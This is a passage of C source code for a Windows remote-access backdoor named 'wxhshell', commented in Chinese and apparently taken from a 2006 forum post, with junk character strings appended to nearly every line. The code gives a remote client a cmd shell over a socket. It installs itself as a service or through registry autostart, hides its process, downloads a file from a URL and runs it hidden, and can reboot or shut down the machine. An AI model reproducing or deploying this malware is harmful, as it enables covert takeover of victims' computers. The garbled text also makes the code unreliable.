    switch(cmd[0]) { 5( 3tPbm{  
  GE|V^_|i  
  // 帮助 vV%w#ULxE~  
  case '?': { L~\Ir  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j sm{|'  
    break; =oBV.BST u  
  } E;yP.<PW  
  // 安装 &Mol8=V)  
  case 'i': { q:fkF^>  
    if(Install()) 8q_nOGd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `On%1%k8  
    else 2TdcZ<k}J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cf96z|^C  
    break; J=  T!  
    }  W+e  
  // 卸载 ikUG`F%W  
  case 'r': { Ay[6rUO  
    if(Uninstall()) 8/k* "^3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F8q|$[nH  
    else ^5OR%N)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U2;_{n*g%  
    break; KrB"2e+J  
    } " 5=Gu1  
  // 显示 wxhshell 所在路径 ,#nyEE  
  case 'p': { 5-*/wKjLz  
    char svExeFile[MAX_PATH]; Vf0m7BJc3  
    strcpy(svExeFile,"\n\r"); }5EvBEv-)  
      strcat(svExeFile,ExeFile); [:Sl^ Z&6M  
        send(wsh,svExeFile,strlen(svExeFile),0); -GH>12YP  
    break; :U=*@p4?  
    } dW6sA65<Y  
  // 重启 MGK%F#PM  
  case 'b': { t~3!| @3i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `$05+UU  
    if(Boot(REBOOT)) H+` Zp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NSZ9M%7  
    else { W;Ct[Y 8m  
    closesocket(wsh); $/K<hT_  
    ExitThread(0); ?g}G#j  
    } ,VI2dNst\  
    break; 6YNd;,it>p  
    } L\a G.\  
  // 关机 voiWf?X  
  case 'd': { 5 y0 N }}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wZ0RI{)s'  
    if(Boot(SHUTDOWN)) X3@Uih}|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;O+= 6>W  
    else { ]@0C1 r  
    closesocket(wsh); )1N~-VuT  
    ExitThread(0); Dr)B0]KG  
    } 7*.nd  
    break; h:xvnyaI  
    } <v%Q|r  
  // 获取shell 0-6rIdDTM  
  case 's': { /V0[Urc@  
    CmdShell(wsh); Fsz;T;  
    closesocket(wsh); 6o6I]QL  
    ExitThread(0); MR}=tO  
    break; ~7ZWtg;B  
  } x.8fxogz  
  // 退出 ew?4;  
  case 'x': { L xP%o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y'*oW+K  
    CloseIt(wsh); &.F ]-1RN[  
    break; f}=>c|Do  
    } Q WcQtM  
  // 离开 Zjd9@  
  case 'q': { R.(PZCvS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qco8m4n  
    closesocket(wsh); fN&@y$  
    WSACleanup(); ;Nk,bb K  
    exit(1); |0OY> 5  
    break; |h%=a8  
        } 5X&Y~w,poU  
  } 2u Zb2O  
  } _0}u0fk  
z9Z4MXl  
  // 提示信息 {>g{+Eq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ia@ |+r  
} z.lIlp2:  
  } =U'!<w<-  
9k /L m  
  return; AO, o|,#4F  
} Wz%H?m:g#  
galzk$D  
// shell模块句柄 LY-,cXm&|  
int CmdShell(SOCKET sock) zG{P5@:.R  
{ 9A~w2z\G  
STARTUPINFO si; rtNYX=P  
ZeroMemory(&si,sizeof(si)); iYD5~pK8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sKCYGt$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hi`[  
PROCESS_INFORMATION ProcessInfo; DG?g~{Y~b  
char cmdline[]="cmd"; t'1g+g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bFjH* ~ P  
  return 0; pu~b\&^G  
} ,oykOda:|  
(@->AJF1\  
// 自身启动模式 `*6|2  
int StartFromService(void) DL`8qJ'mJs  
{ IdqCk0lVD  
typedef struct j"K^zh  
{ C#-HWoSi  
  DWORD ExitStatus; }{y)a<`  
  DWORD PebBaseAddress; EHN(K-  
  DWORD AffinityMask; ^"<x4e9+j  
  DWORD BasePriority; 'Lq+ONX5  
  ULONG UniqueProcessId;  & .0A%  
  ULONG InheritedFromUniqueProcessId; {0~\T[qm  
}   PROCESS_BASIC_INFORMATION; u@1 2:U$  
?VlGTMaS+  
PROCNTQSIP NtQueryInformationProcess; ~UJ.A<>Fh  
HjIIhl?UY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vJxE F&X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `;Ho<26  
yts@cd`$  
  HANDLE             hProcess; R2v9gz;W  
  PROCESS_BASIC_INFORMATION pbi; !( >U3N  
LaO8)lqR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z#.1p'3qm1  
  if(NULL == hInst ) return 0; ,Kl:4 Tv  
<rtKPlb//  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /jNvHo^B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ! ui   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P0yDL:X[  
v^ "qr?3V  
  if (!NtQueryInformationProcess) return 0; BBM[Fy37!}  
,`JYFh M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $33E-^  
  if(!hProcess) return 0; ?r KbL^2  
10fxK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d7Vp^^}(  
U$mDAi$  
  CloseHandle(hProcess); 1~t.2eUG  
]XU4nNi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HdN5zl,q  
if(hProcess==NULL) return 0; VcGl8~#9  
>ei~:z]R  
HMODULE hMod; >MJ#|vO  
char procName[255]; G&xtL  
unsigned long cbNeeded; Pr1q X5>=  
_aR{B-E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ulxfxfd  
WW+xU0  
  CloseHandle(hProcess); ("\{=XA Q  
Ie(i1?`A8  
if(strstr(procName,"services")) return 1; // 以服务启动 &nDXn|  
a M9v  
  return 0; // 注册表启动 L/ Q[N^ (^  
} o!:Z?.!  
1l$2T y+ =  
// 主模块 0u1ZU4+EC  
int StartWxhshell(LPSTR lpCmdLine) QuqznYSY{  
{ dpTsTU!\  
  SOCKET wsl; I% u 2 ce  
BOOL val=TRUE; "Yh;3tI4*  
  int port=0; GQ;0KIN  
  struct sockaddr_in door; n1J u =C  
kh9'W<tE  
  if(wscfg.ws_autoins) Install(); #m,H1YH M  
`0\Z*^>  
port=atoi(lpCmdLine); PFuhvw~?  
nm@ h5ON_  
if(port<=0) port=wscfg.ws_port; =nHKTB>  
iP0m1  
  WSADATA data; N2O *g`YC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r5DR F4,7  
Ec!!9dgRQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S7)qq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U3X5tED  
  door.sin_family = AF_INET; EW|$qLg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W w,\s5Uw  
  door.sin_port = htons(port); }9+;-*m/  
uR ?W|a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j@>D]j  
closesocket(wsl); hE|P|0U,n  
return 1; .Q%Hi7JMi  
} ,c4HicRJ#  
X>8,C^~$1  
  if(listen(wsl,2) == INVALID_SOCKET) { g3z/yj  
closesocket(wsl); y6nP=g|')>  
return 1; 8@;]@c)m  
} zMR)w77  
  Wxhshell(wsl); q2*A'C  
  WSACleanup(); A#. %7S  
xIGq+yd(  
return 0; eAfi!!Z<  
|tGUx*NN  
} 1Ng+mT  
>\d&LLAe  
// 以NT服务方式启动 oT-gZedW(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BB6[(Z  
{ ^O18\a  
DWORD   status = 0; I.n,TJoz4J  
  DWORD   specificError = 0xfffffff; !&{rnK  
{4D`VfX_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i)?7+<X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o]4]fLQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UJL2IF-x  
  serviceStatus.dwWin32ExitCode     = 0; 4yxQq7 m,  
  serviceStatus.dwServiceSpecificExitCode = 0; 0G+Q^]0  
  serviceStatus.dwCheckPoint       = 0; nF@**,C Q  
  serviceStatus.dwWaitHint       = 0; @|\9<S  
CIx(SeEF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {Rkd;`Q`!  
  if (hServiceStatusHandle==0) return; lS4rpbU_  
?H=q!i  
status = GetLastError(); ,AP0*Ln  
  if (status!=NO_ERROR) eX+36VG\  
{ w*-42r3,'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U?UU] >Q  
    serviceStatus.dwCheckPoint       = 0; (9Zvr4.f7  
    serviceStatus.dwWaitHint       = 0; YNr"]SA@;  
    serviceStatus.dwWin32ExitCode     = status; B&]`OO>O  
    serviceStatus.dwServiceSpecificExitCode = specificError; $fmTa02q>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `,qft[1  
    return; (QDKw}O2b  
  } !;eE7xn&  
L,}'ST  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cz0FA]-g  
  serviceStatus.dwCheckPoint       = 0; lL}NiN-)t  
  serviceStatus.dwWaitHint       = 0; 'X;cgAq8(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (`1i o  
} G-d7}Uz ?  
QQrldc(I  
// 处理NT服务事件,比如:启动、停止 "'U^8NA2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4>d4g\Z0L  
{ $G".PWc  
switch(fdwControl) Q;]JVT1  
{ Vu3DP+u|i  
case SERVICE_CONTROL_STOP: UzxL" `^7  
  serviceStatus.dwWin32ExitCode = 0; YzESV Th  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p F{jIXu  
  serviceStatus.dwCheckPoint   = 0; [Fl_R[o  
  serviceStatus.dwWaitHint     = 0; C[L 5H  
  { NoiB9 8g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EhxpMTS  
  } }u_D{bz  
  return; `HX:U3/  
case SERVICE_CONTROL_PAUSE: duaF?\vv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %e~xO x  
  break; {<42PJtPY  
case SERVICE_CONTROL_CONTINUE: d4| )=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /j~~S'sw  
  break; AY /9Io-  
case SERVICE_CONTROL_INTERROGATE: 2][9Wp  
  break; danPy2  
}; rtj/&>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 39v Bsc  
} QP (0  
> Vm}u`x  
// 标准应用程序主函数 "wgPPop  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M+ +Dk7B  
{ EtcT:k?y  
q3x"9i `  
// 获取操作系统版本 \u,CixV=  
OsIsNt=GetOsVer(); Db|f"3rq?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8 0tA5AP  
sY;h~a0n  
  // 从命令行安装 Uu_qy(4  
  if(strpbrk(lpCmdLine,"iI")) Install(); vNSUrf,r  
\D@j`o  
  // 下载执行文件 Z[#8F&QV!m  
if(wscfg.ws_downexe) { Z)7{~xq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5i[O\@]5  
  WinExec(wscfg.ws_filenam,SW_HIDE); &W45.2  
} JWNN5#=fQ  
W Z'<iI  
if(!OsIsNt) { >V"{]v  
// 如果时win9x,隐藏进程并且设置为注册表启动 9<gW~ s>  
HideProc(); //&3{B  
StartWxhshell(lpCmdLine); &W\e 5X<A  
} ?MH=8Cl1w  
else `i`P}W!F  
  if(StartFromService()) w|f+OlPXq  
  // 以服务方式启动 k8s)PN  
  StartServiceCtrlDispatcher(DispatchTable); jj{:=l ZB  
else o<nM-"yWb  
  // 普通方式启动 {8m&Z36E  
  StartWxhshell(lpCmdLine); Qw0k-t0=4  
Cff6EE  
return 0; j,OA>{-$  
}
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只看该作者 1 发表于: 2006-10-10
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